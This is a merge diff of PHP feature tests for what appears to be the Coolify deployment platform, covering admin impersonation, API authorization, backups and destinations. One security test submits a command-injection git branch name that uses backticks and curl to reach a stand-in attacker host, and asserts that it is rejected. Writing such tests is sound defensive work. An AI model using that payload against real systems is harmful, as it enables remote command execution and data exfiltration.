Merge remote-tracking branch 'origin/next' into fix/docker-compose-domains-api-9211

tests/Feature/AdminAccessAuthorizationTest.php

@@ -1,6 +1,7 @@
 <?php
 
 use App\Livewire\Admin\Index as AdminIndex;
+use App\Models\InstanceSettings;
 use App\Models\Team;
 use App\Models\User;
 use Illuminate\Foundation\Testing\RefreshDatabase;
@@ -70,9 +71,9 @@ test('submitSearch requires admin authorization', function () {
 test('switchUser requires root user id 0', function () {
     config()->set('constants.coolify.self_hosted', false);
 
-    $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
     $rootUser = User::factory()->create(['id' => 0]);
-    $rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
+    $rootTeam = Team::find(0);
 
     $targetUser = User::factory()->create();
     $targetTeam = Team::factory()->create();
@@ -84,7 +85,47 @@ test('switchUser requires root user id 0', function () {
     Livewire::test(AdminIndex::class)
         ->assertOk()
         ->call('switchUser', $targetUser->id)
-        ->assertRedirect();
+        ->assertRedirect(route('dashboard'));
+});
+
+test('back() redirects impersonator to admin index and clears session', function () {
+    config()->set('constants.coolify.self_hosted', false);
+
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
+    $rootUser = User::factory()->create(['id' => 0]);
+    $rootTeam = Team::find(0);
+
+    $this->actingAs($rootUser);
+    session([
+        'currentTeam' => ['id' => $rootTeam->id],
+        'impersonating' => true,
+    ]);
+
+    Livewire::test(AdminIndex::class)
+        ->call('back')
+        ->assertRedirect(route('admin.index'));
+
+    expect(session('impersonating'))->toBeNull();
+});
+
+test('switchUser ignores Referer header and uses dashboard route', function () {
+    config()->set('constants.coolify.self_hosted', false);
+
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
+    $rootUser = User::factory()->create(['id' => 0]);
+    $rootTeam = Team::find(0);
+
+    $targetUser = User::factory()->create();
+    $targetTeam = Team::factory()->create();
+    $targetTeam->members()->attach($targetUser->id, ['role' => 'admin']);
+
+    $this->actingAs($rootUser);
+    session(['currentTeam' => ['id' => $rootTeam->id]]);
+
+    Livewire::withHeaders(['Referer' => 'https://example.com/elsewhere'])
+        ->test(AdminIndex::class)
+        ->call('switchUser', $targetUser->id)
+        ->assertRedirect(route('dashboard'));
 });
 
 test('switchUser rejects non-root user', function () {

tests/Feature/Api/ApplicationGitBranchSecurityTest.php

@@ -0,0 +1,89 @@
+<?php
+
+use App\Models\Application;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Str;
+use Visus\Cuid2\Cuid2;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+    session(['currentTeam' => $this->team]);
+
+    $plainTextToken = Str::random(40);
+    $token = $this->user->tokens()->create([
+        'name' => 'git-branch-security-test-'.Str::random(6),
+        'token' => hash('sha256', $plainTextToken),
+        'abilities' => ['*'],
+        'team_id' => $this->team->id,
+    ]);
+    $this->bearerToken = $token->getKey().'|'.$plainTextToken;
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = $this->server->standaloneDockers()->firstOrCreate(
+            ['network' => 'coolify'],
+            ['uuid' => (string) new Cuid2, 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) new Cuid2,
+        'name' => 'test-project',
+        'team_id' => $this->team->id,
+    ]);
+    $this->environment = $this->project->environments()->first();
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'git_branch' => 'main',
+    ]);
+});
+
+function gitBranchApiHeaders(string $bearerToken): array
+{
+    return [
+        'Authorization' => 'Bearer '.$bearerToken,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+describe('PATCH /api/v1/applications/{uuid} git_branch security', function () {
+    test('rejects backtick command substitution branch payloads', function () {
+        $payload = 'main`curl${IFS}attacker.test/coolify-rce-`id${IFS}-u``';
+
+        $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+                'git_branch' => $payload,
+            ]);
+
+        $response->assertUnprocessable()
+            ->assertJsonValidationErrors('git_branch');
+
+        expect($this->application->refresh()->git_branch)->toBe('main');
+    });
+
+    test('accepts safe branch names', function () {
+        $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+                'git_branch' => 'feature/safe-branch_1.2.3',
+            ]);
+
+        $response->assertOk();
+
+        expect($this->application->refresh()->git_branch)->toBe('feature/safe-branch_1.2.3');
+    });
+});

tests/Feature/Api/ApplicationHealthCheckApiTest.php

@@ -31,7 +31,7 @@ beforeEach(function () {
         );
     });
 
-    $this->project = Project::forceCreate([
+    $this->project = Project::create([
         'uuid' => (string) new Cuid2,
         'name' => 'test-project',
         'team_id' => $this->team->id,

tests/Feature/Api/CloudProviderTokenApiTest.php

@@ -1,14 +1,23 @@
 <?php
 
 use App\Models\CloudProviderToken;
+use App\Models\InstanceSettings;
 use App\Models\Team;
 use App\Models\User;
 use Illuminate\Foundation\Testing\RefreshDatabase;
 use Illuminate\Support\Facades\Http;
+use Illuminate\Support\Facades\Log;
+use Illuminate\Support\Once;
 
 uses(RefreshDatabase::class);
 
 beforeEach(function () {
+    InstanceSettings::query()->whereKey(0)->delete();
+    $settings = new InstanceSettings(['is_api_enabled' => true]);
+    $settings->id = 0;
+    $settings->save();
+    Once::flush();
+
     // Create a team with owner
     $this->team = Team::factory()->create();
     $this->user = User::factory()->create();
@@ -410,4 +419,33 @@ describe('POST /api/v1/cloud-tokens/{uuid}/validate', function () {
         $response->assertStatus(200);
         $response->assertJson(['valid' => true, 'message' => 'Token is valid.']);
     });
+
+    test('writes an audit log entry when validating a stored token', function () {
+        $token = CloudProviderToken::factory()->create([
+            'team_id' => $this->team->id,
+            'provider' => 'hetzner',
+            'name' => 'Audit Token',
+        ]);
+
+        Http::fake([
+            'https://api.hetzner.cloud/v1/servers' => Http::response([], 200),
+        ]);
+
+        $auditChannel = Mockery::mock();
+        $auditChannel->shouldReceive('info')
+            ->once()
+            ->with('api.cloud_token.validated', Mockery::on(function (array $context) use ($token) {
+                return $context['cloud_token_uuid'] === $token->uuid
+                    && $context['provider'] === 'hetzner'
+                    && $context['valid'] === true;
+            }));
+
+        Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel);
+
+        $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->postJson("/api/v1/cloud-tokens/{$token->uuid}/validate")
+            ->assertOk();
+    });
 });

tests/Feature/Api/DatabaseBackupCreationApiTest.php

@@ -0,0 +1,277 @@
+<?php
+
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\S3Storage;
+use App\Models\ScheduledDatabaseBackup;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\StandalonePostgresql;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Str;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    session(['currentTeam' => $this->team]);
+
+    $this->token = $this->user->createToken('test-token', ['*']);
+    $this->bearerToken = $this->token->plainTextToken;
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) Str::uuid(), 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = $this->project->environments()->first();
+
+    $this->database = StandalonePostgresql::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test DB',
+        'postgres_user' => 'postgres',
+        'postgres_password' => 'password',
+        'postgres_db' => 'testdb',
+        'image' => 'postgres:15',
+        'status' => 'running',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    $this->s3Storage = S3Storage::create([
+        'name' => 'test-s3',
+        'region' => 'us-east-1',
+        'key' => 'test-key',
+        'secret' => 'test-secret',
+        'bucket' => 'test-bucket',
+        'endpoint' => 'https://s3.example.com',
+        'team_id' => $this->team->id,
+        'is_usable' => true,
+    ]);
+});
+
+function backupHeaders(): array
+{
+    return [
+        'Authorization' => 'Bearer '.test()->bearerToken,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+describe('POST /api/v1/databases/{uuid}/backups', function () {
+    test('creates backup configuration with valid frequency', function () {
+        $response = $this->withHeaders(backupHeaders())
+            ->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+                'frequency' => 'daily',
+            ]);
+
+        $response->assertStatus(201);
+        $response->assertJsonStructure(['uuid', 'message']);
+        $response->assertJson(['message' => 'Backup configuration created successfully.']);
+    });
+
+    test('creates backup with valid cron expression', function () {
+        $response = $this->withHeaders(backupHeaders())
+            ->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+                'frequency' => '0 2 * * *',
+            ]);
+
+        $response->assertStatus(201);
+        $response->assertJsonStructure(['uuid', 'message']);
+    });
+
+    test('accepts all predefined frequency values', function () {
+        $frequencies = ['every_minute', 'hourly', 'daily', 'weekly', 'monthly', 'yearly'];
+
+        foreach ($frequencies as $frequency) {
+            $response = $this->withHeaders(backupHeaders())
+                ->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+                    'frequency' => $frequency,
+                ]);
+
+            $response->assertStatus(201, "Expected 201 for frequency '{$frequency}', got {$response->status()}");
+        }
+    });
+
+    test('validates frequency is required', function () {
+        $response = $this->withHeaders(backupHeaders())
+            ->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+                'enabled' => true,
+            ]);
+
+        $response->assertStatus(422);
+        $response->assertJsonValidationErrors(['frequency']);
+    });
+
+    test('rejects invalid frequency format', function () {
+        $response = $this->withHeaders(backupHeaders())
+            ->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+                'frequency' => 'invalid-frequency',
+            ]);
+
+        $response->assertStatus(422);
+    });
+
+    test('validates s3_storage_uuid required when save_s3 is true', function () {
+        $response = $this->withHeaders(backupHeaders())
+            ->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+                'frequency' => 'daily',
+                'save_s3' => true,
+            ]);
+
+        $response->assertStatus(422);
+    });
+
+    test('validates retention fields are integers with minimum 0', function () {
+        $response = $this->withHeaders(backupHeaders())
+            ->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+                'frequency' => 'daily',
+                'database_backup_retention_amount_locally' => -1,
+            ]);
+
+        $response->assertStatus(422);
+    });
+
+    test('rejects extra fields not in allowed list', function () {
+        $response = $this->withHeaders(backupHeaders())
+            ->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+                'frequency' => 'daily',
+                'invalid_field' => 'invalid_value',
+            ]);
+
+        $response->assertStatus(422);
+    });
+
+    test('rejects request without authentication', function () {
+        $response = $this->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+            'frequency' => 'daily',
+        ]);
+
+        $response->assertStatus(401);
+    });
+
+    test('returns 404 for non-existent database uuid', function () {
+        $response = $this->withHeaders(backupHeaders())
+            ->postJson('/api/v1/databases/non-existent-uuid/backups', [
+                'frequency' => 'daily',
+            ]);
+
+        $response->assertStatus(404);
+        $response->assertJson(['message' => 'Database not found.']);
+    });
+
+    test('creates backup with s3 storage via API token', function () {
+        $response = $this->withHeaders(backupHeaders())
+            ->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+                'frequency' => '0 2 * * 0',
+                'save_s3' => true,
+                's3_storage_uuid' => $this->s3Storage->uuid,
+                'enabled' => true,
+            ]);
+
+        $response->assertStatus(201);
+        $response->assertJsonStructure(['uuid', 'message']);
+
+        $backup = ScheduledDatabaseBackup::where('uuid', $response->json('uuid'))->first();
+        expect($backup)->not->toBeNull();
+        expect($backup->s3_storage_id)->toBe($this->s3Storage->id);
+        expect($backup->save_s3)->toBeTrue();
+        expect($backup->team_id)->toBe($this->team->id);
+    });
+
+    test('rejects s3_storage_uuid from another team', function () {
+        $otherTeam = Team::factory()->create();
+        $otherS3 = S3Storage::create([
+            'name' => 'other-s3',
+            'region' => 'us-east-1',
+            'key' => 'other-key',
+            'secret' => 'other-secret',
+            'bucket' => 'other-bucket',
+            'endpoint' => 'https://s3.example.com',
+            'team_id' => $otherTeam->id,
+            'is_usable' => true,
+        ]);
+
+        $response = $this->withHeaders(backupHeaders())
+            ->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
+                'frequency' => '0 2 * * 0',
+                'save_s3' => true,
+                's3_storage_uuid' => $otherS3->uuid,
+            ]);
+
+        $response->assertStatus(422);
+        $response->assertJsonValidationErrors(['s3_storage_uuid']);
+    });
+});
+
+describe('PATCH /api/v1/databases/{uuid}/backups/{scheduled_backup_uuid}', function () {
+    test('updates backup to use s3 storage via API token', function () {
+        $backup = ScheduledDatabaseBackup::create([
+            'frequency' => 'daily',
+            'enabled' => true,
+            'database_id' => $this->database->id,
+            'database_type' => $this->database->getMorphClass(),
+            'team_id' => $this->team->id,
+        ]);
+
+        $response = $this->withHeaders(backupHeaders())
+            ->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [
+                'save_s3' => true,
+                's3_storage_uuid' => $this->s3Storage->uuid,
+            ]);
+
+        $response->assertStatus(200);
+        $backup->refresh();
+        expect($backup->s3_storage_id)->toBe($this->s3Storage->id);
+        expect($backup->save_s3)->toBeTrue();
+    });
+
+    test('rejects s3_storage_uuid from another team on update', function () {
+        $otherTeam = Team::factory()->create();
+        $otherS3 = S3Storage::create([
+            'name' => 'other-s3',
+            'region' => 'us-east-1',
+            'key' => 'other-key',
+            'secret' => 'other-secret',
+            'bucket' => 'other-bucket',
+            'endpoint' => 'https://s3.example.com',
+            'team_id' => $otherTeam->id,
+            'is_usable' => true,
+        ]);
+
+        $backup = ScheduledDatabaseBackup::create([
+            'frequency' => 'daily',
+            'enabled' => true,
+            'database_id' => $this->database->id,
+            'database_type' => $this->database->getMorphClass(),
+            'team_id' => $this->team->id,
+        ]);
+
+        $response = $this->withHeaders(backupHeaders())
+            ->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [
+                'save_s3' => true,
+                's3_storage_uuid' => $otherS3->uuid,
+            ]);
+
+        $response->assertStatus(422);
+        $response->assertJsonValidationErrors(['s3_storage_uuid']);
+    });
+});

tests/Feature/Api/DeploymentCancellationApiTest.php

@@ -2,6 +2,7 @@
 
 use App\Enums\ApplicationDeploymentStatus;
 use App\Models\ApplicationDeploymentQueue;
+use App\Models\InstanceSettings;
 use App\Models\Server;
 use App\Models\Team;
 use App\Models\User;
@@ -10,13 +11,17 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
 uses(RefreshDatabase::class);
 
 beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
     // Create a team with owner
     $this->team = Team::factory()->create();
     $this->user = User::factory()->create();
     $this->team->members()->attach($this->user->id, ['role' => 'owner']);
 
+    session(['currentTeam' => $this->team]);
+
     // Create an API token for the user
-    $this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
+    $this->token = $this->user->createToken('test-token', ['*']);
     $this->bearerToken = $this->token->plainTextToken;
 
     // Create a server for the team
@@ -76,7 +81,7 @@ describe('POST /api/v1/deployments/{uuid}/cancel', function () {
         ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel");
 
         $response->assertStatus(400);
-        $response->assertJsonFragment(['Deployment cannot be cancelled']);
+        expect($response->json('message'))->toContain('Deployment cannot be cancelled');
     });
 
     test('returns 400 when deployment is already failed', function () {
@@ -93,7 +98,7 @@ describe('POST /api/v1/deployments/{uuid}/cancel', function () {
         ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel");
 
         $response->assertStatus(400);
-        $response->assertJsonFragment(['Deployment cannot be cancelled']);
+        expect($response->json('message'))->toContain('Deployment cannot be cancelled');
     });
 
     test('returns 400 when deployment is already cancelled', function () {
@@ -110,10 +115,10 @@ describe('POST /api/v1/deployments/{uuid}/cancel', function () {
         ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel");
 
         $response->assertStatus(400);
-        $response->assertJsonFragment(['Deployment cannot be cancelled']);
+        expect($response->json('message'))->toContain('Deployment cannot be cancelled');
     });
 
-    test('successfully cancels queued deployment', function () {
+    test('cancels queued deployment and updates status in database', function () {
         $deployment = ApplicationDeploymentQueue::create([
             'deployment_uuid' => 'queued-deployment-uuid',
             'application_id' => 1,
@@ -121,20 +126,17 @@ describe('POST /api/v1/deployments/{uuid}/cancel', function () {
             'status' => ApplicationDeploymentStatus::QUEUED->value,
         ]);
 
-        $response = $this->withHeaders([
+        $this->withHeaders([
             'Authorization' => 'Bearer '.$this->bearerToken,
             'Content-Type' => 'application/json',
         ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel");
 
-        // Expect success (200) or 500 if server connection fails (which is expected in test environment)
-        expect($response->status())->toBeIn([200, 500]);
-
-        // Verify deployment status was updated to cancelled
+        // The controller updates status before SSH calls, so DB state is always correct
         $deployment->refresh();
         expect($deployment->status)->toBe(ApplicationDeploymentStatus::CANCELLED_BY_USER->value);
     });
 
-    test('successfully cancels in-progress deployment', function () {
+    test('cancels in-progress deployment and updates status in database', function () {
         $deployment = ApplicationDeploymentQueue::create([
             'deployment_uuid' => 'in-progress-deployment-uuid',
             'application_id' => 1,
@@ -142,42 +144,13 @@ describe('POST /api/v1/deployments/{uuid}/cancel', function () {
             'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,
         ]);
 
-        $response = $this->withHeaders([
+        $this->withHeaders([
             'Authorization' => 'Bearer '.$this->bearerToken,
             'Content-Type' => 'application/json',
         ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel");
 
-        // Expect success (200) or 500 if server connection fails (which is expected in test environment)
-        expect($response->status())->toBeIn([200, 500]);
-
-        // Verify deployment status was updated to cancelled
+        // The controller updates status before SSH calls, so DB state is always correct
         $deployment->refresh();
         expect($deployment->status)->toBe(ApplicationDeploymentStatus::CANCELLED_BY_USER->value);
     });
-
-    test('returns correct response structure on success', function () {
-        $deployment = ApplicationDeploymentQueue::create([
-            'deployment_uuid' => 'success-deployment-uuid',
-            'application_id' => 1,
-            'server_id' => $this->server->id,
-            'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,
-        ]);
-
-        $response = $this->withHeaders([
-            'Authorization' => 'Bearer '.$this->bearerToken,
-            'Content-Type' => 'application/json',
-        ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel");
-
-        if ($response->status() === 200) {
-            $response->assertJsonStructure([
-                'message',
-                'deployment_uuid',
-                'status',
-            ]);
-            $response->assertJson([
-                'deployment_uuid' => $deployment->deployment_uuid,
-                'status' => ApplicationDeploymentStatus::CANCELLED_BY_USER->value,
-            ]);
-        }
-    });
 });

tests/Feature/Api/DestinationsApiTest.php

@@ -0,0 +1,282 @@
+<?php
+
+use App\Actions\Destination\RemoveStandaloneDockerNetwork;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\StandaloneDocker;
+use App\Models\SwarmDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    config([
+        'cache.default' => 'array',
+        'session.driver' => 'array',
+        'queue.default' => 'sync',
+        'app.maintenance.driver' => 'file',
+    ]);
+
+    InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(
+        ['id' => 0],
+        ['is_api_enabled' => true],
+    ));
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+    session(['currentTeam' => $this->team]);
+
+    $this->bearerToken = destinationsApiToken($this->user, $this->team, ['*']);
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+});
+
+function destinationsApiHeaders(string $bearerToken): array
+{
+    return [
+        'Authorization' => 'Bearer '.$bearerToken,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+function destinationsApiToken(User $user, Team $team, array $abilities): string
+{
+    $plainTextToken = Str::random(40);
+    $token = $user->tokens()->create([
+        'name' => 'destinations-api-test-'.Str::random(6),
+        'token' => hash('sha256', $plainTextToken),
+        'abilities' => $abilities,
+        'team_id' => $team->id,
+    ]);
+
+    return $token->getKey().'|'.$plainTextToken;
+}
+
+describe('GET /api/v1/destinations', function () {
+    test('lists only destinations owned by the token team', function () {
+        $otherTeam = Team::factory()->create();
+        $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
+        $otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
+
+        $response = $this->withHeaders(destinationsApiHeaders($this->bearerToken))
+            ->getJson('/api/v1/destinations');
+
+        $response->assertOk();
+        $uuids = collect($response->json())->pluck('uuid');
+
+        expect($response->json('0'))->not->toHaveKey('id')
+            ->and($uuids)->toContain($this->destination->uuid)
+            ->not->toContain($otherDestination->uuid);
+    });
+});
+
+describe('GET /api/v1/destinations/{uuid}', function () {
+    test('does not expose another team destination', function () {
+        $otherTeam = Team::factory()->create();
+        $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
+        $otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
+
+        $response = $this->withHeaders(destinationsApiHeaders($this->bearerToken))
+            ->getJson("/api/v1/destinations/{$otherDestination->uuid}");
+
+        $response->assertNotFound();
+    });
+});
+
+describe('GET /api/v1/servers/{server_uuid}/destinations', function () {
+    test('lists destinations for a team server', function () {
+        $response = $this->withHeaders(destinationsApiHeaders($this->bearerToken))
+            ->getJson("/api/v1/servers/{$this->server->uuid}/destinations");
+
+        $response->assertOk();
+        expect($response->json())->toHaveCount(1)
+            ->and($response->json('0.uuid'))->toBe($this->destination->uuid);
+    });
+});
+
+describe('POST /api/v1/servers/{server_uuid}/destinations', function () {
+    test('requires a write token', function () {
+        $readOnlyToken = destinationsApiToken($this->user, $this->team, ['read']);
+
+        $response = $this->withHeaders(destinationsApiHeaders($readOnlyToken))
+            ->postJson("/api/v1/servers/{$this->server->uuid}/destinations", [
+                'network' => 'new-network',
+            ]);
+
+        $response->assertForbidden();
+    });
+
+    test('rejects create requests from non-admin team members', function () {
+        $member = User::factory()->create();
+        $this->team->members()->attach($member->id, ['role' => 'member']);
+        $memberToken = destinationsApiToken($member, $this->team, ['*']);
+
+        $response = $this->withHeaders(destinationsApiHeaders($memberToken))
+            ->postJson("/api/v1/servers/{$this->server->uuid}/destinations", [
+                'network' => 'member-network',
+            ]);
+
+        $response->assertForbidden();
+        expect(StandaloneDocker::where('server_id', $this->server->id)->where('network', 'member-network')->exists())->toBeFalse();
+    });
+
+    test('rejects non-json requests before creating a destination', function () {
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+        ])->post("/api/v1/servers/{$this->server->uuid}/destinations", [
+            'network' => 'api-swarm-network',
+            'type' => 'swarm',
+        ]);
+
+        $response->assertStatus(400);
+        expect(SwarmDocker::where('server_id', $this->server->id)->where('network', 'api-swarm-network')->exists())->toBeFalse();
+    });
+
+    test('rejects unknown fields', function () {
+        $response = $this->withHeaders(destinationsApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/servers/{$this->server->uuid}/destinations", [
+                'network' => 'new-network',
+                'unexpected' => 'value',
+            ]);
+
+        $response->assertUnprocessable();
+        $response->assertJsonValidationErrors(['unexpected']);
+    });
+
+    test('rejects unsafe docker network names', function () {
+        $response = $this->withHeaders(destinationsApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/servers/{$this->server->uuid}/destinations", [
+                'network' => 'bad;network',
+            ]);
+
+        $response->assertUnprocessable();
+        $response->assertJsonValidationErrors(['network']);
+    });
+
+    test('rejects a destination type that does not match the server mode', function () {
+        $response = $this->withHeaders(destinationsApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/servers/{$this->server->uuid}/destinations", [
+                'network' => 'wrong-type-network',
+                'type' => 'swarm',
+            ]);
+
+        $response->assertUnprocessable();
+        expect(SwarmDocker::where('server_id', $this->server->id)->where('network', 'wrong-type-network')->exists())->toBeFalse();
+    });
+
+    test('creates a swarm destination on a swarm server', function () {
+        $this->server->settings()->update(['is_swarm_manager' => true]);
+
+        $response = $this->withHeaders(destinationsApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/servers/{$this->server->uuid}/destinations", [
+                'name' => 'API Swarm',
+                'network' => 'api-swarm-network',
+                'type' => 'swarm',
+            ]);
+
+        $response->assertCreated();
+        $response->assertJsonStructure(['uuid']);
+        expect(SwarmDocker::where('server_id', $this->server->id)->where('network', 'api-swarm-network')->exists())->toBeTrue();
+    });
+
+    test('rejects duplicate networks on the same server and type', function () {
+        $response = $this->withHeaders(destinationsApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/servers/{$this->server->uuid}/destinations", [
+                'network' => $this->destination->network,
+            ]);
+
+        $response->assertStatus(409);
+    });
+
+    test('returns conflict when the database unique constraint wins a create race', function () {
+        $network = 'raced-network';
+
+        StandaloneDocker::creating(function (StandaloneDocker $destination) use ($network) {
+            if ($destination->network !== $network) {
+                return;
+            }
+
+            DB::table('standalone_dockers')->insert([
+                'name' => 'Concurrent destination',
+                'uuid' => (string) Str::uuid(),
+                'network' => $network,
+                'server_id' => $destination->server_id,
+                'created_at' => now(),
+                'updated_at' => now(),
+            ]);
+        });
+
+        $response = $this->withHeaders(destinationsApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/servers/{$this->server->uuid}/destinations", [
+                'network' => $network,
+            ]);
+
+        $response->assertStatus(409)
+            ->assertJson(['message' => 'A destination with this network already exists on the server.']);
+
+        expect(StandaloneDocker::where('server_id', $this->server->id)->where('network', $network)->count())->toBe(1);
+    });
+});
+
+describe('DELETE /api/v1/destinations/{uuid}', function () {
+    test('requires a write token', function () {
+        $readOnlyToken = destinationsApiToken($this->user, $this->team, ['read']);
+
+        $response = $this->withHeaders(destinationsApiHeaders($readOnlyToken))
+            ->deleteJson("/api/v1/destinations/{$this->destination->uuid}");
+
+        $response->assertForbidden();
+        $this->assertModelExists($this->destination);
+    });
+
+    test('rejects delete requests from non-admin team members', function () {
+        $member = User::factory()->create();
+        $this->team->members()->attach($member->id, ['role' => 'member']);
+        $memberToken = destinationsApiToken($member, $this->team, ['*']);
+
+        $response = $this->withHeaders(destinationsApiHeaders($memberToken))
+            ->deleteJson("/api/v1/destinations/{$this->destination->uuid}");
+
+        $response->assertForbidden();
+        $this->assertModelExists($this->destination);
+    });
+
+    test('deletes standalone destinations after removing the docker network', function () {
+        $cleanup = Mockery::mock(RemoveStandaloneDockerNetwork::class);
+        $cleanup->shouldReceive('handle')
+            ->once()
+            ->with(Mockery::on(fn (StandaloneDocker $destination) => $destination->is($this->destination)));
+        $this->app->instance(RemoveStandaloneDockerNetwork::class, $cleanup);
+
+        $response = $this->withHeaders(destinationsApiHeaders($this->bearerToken))
+            ->deleteJson("/api/v1/destinations/{$this->destination->uuid}");
+
+        $response->assertOk();
+        $this->assertModelMissing($this->destination);
+    });
+
+    test('blocks deleting a destination with an attached service', function () {
+        $project = Project::factory()->create(['team_id' => $this->team->id]);
+        $environment = $project->environments()->first();
+
+        Service::factory()->create([
+            'environment_id' => $environment->id,
+            'server_id' => $this->server->id,
+            'destination_id' => $this->destination->id,
+            'destination_type' => $this->destination->getMorphClass(),
+        ]);
+
+        $response = $this->withHeaders(destinationsApiHeaders($this->bearerToken))
+            ->deleteJson("/api/v1/destinations/{$this->destination->uuid}");
+
+        $response->assertStatus(409);
+        $this->assertModelExists($this->destination);
+    });
+});

tests/Feature/Api/DomainsByServerApiTest.php

@@ -26,7 +26,7 @@ beforeEach(function () {
     $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
 });
 
-function authHeaders(): array
+function domainApiAuthHeaders(): array
 {
     return [
         'Authorization' => 'Bearer '.test()->bearerToken,
@@ -41,7 +41,7 @@ test('returns domains for own team application via uuid query param', function (
         'destination_type' => $this->destination->getMorphClass(),
     ]);
 
-    $response = $this->withHeaders(authHeaders())
+    $response = $this->withHeaders(domainApiAuthHeaders())
         ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}");
 
     $response->assertOk();
@@ -65,7 +65,7 @@ test('returns 404 when application uuid belongs to another team', function () {
         'destination_type' => $otherDestination->getMorphClass(),
     ]);
 
-    $response = $this->withHeaders(authHeaders())
+    $response = $this->withHeaders(domainApiAuthHeaders())
         ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}");
 
     $response->assertNotFound();
